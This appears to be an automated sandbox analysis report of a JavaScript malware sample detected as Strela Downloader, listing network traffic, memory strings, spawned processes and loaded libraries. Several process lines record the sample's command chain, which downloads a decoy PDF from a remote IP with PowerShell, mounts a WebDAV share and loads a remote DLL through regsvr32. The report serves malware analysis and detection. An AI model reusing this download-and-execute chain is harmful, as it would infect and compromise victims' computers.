HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1743975793.0000028F8EAE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1839898319.0000022124118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1839959644.000002212414B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1839490626.000002212414B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0
Source: net.exe, 00000006.00000002.1839898319.0000022124118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace&(
Source: svchost.exe, 00000008.00000002.3027684088.00000193B7200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1862391167.00000193B71D8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1862391167.00000193B71D8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1862391167.00000193B71D8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1862391167.00000193B720D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6712, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 213045010931018335.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hafglfdb.qdb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1528,i,8268198196669219544,7547792718768048642,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1528,i,8268198196669219544,7547792718768048642,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
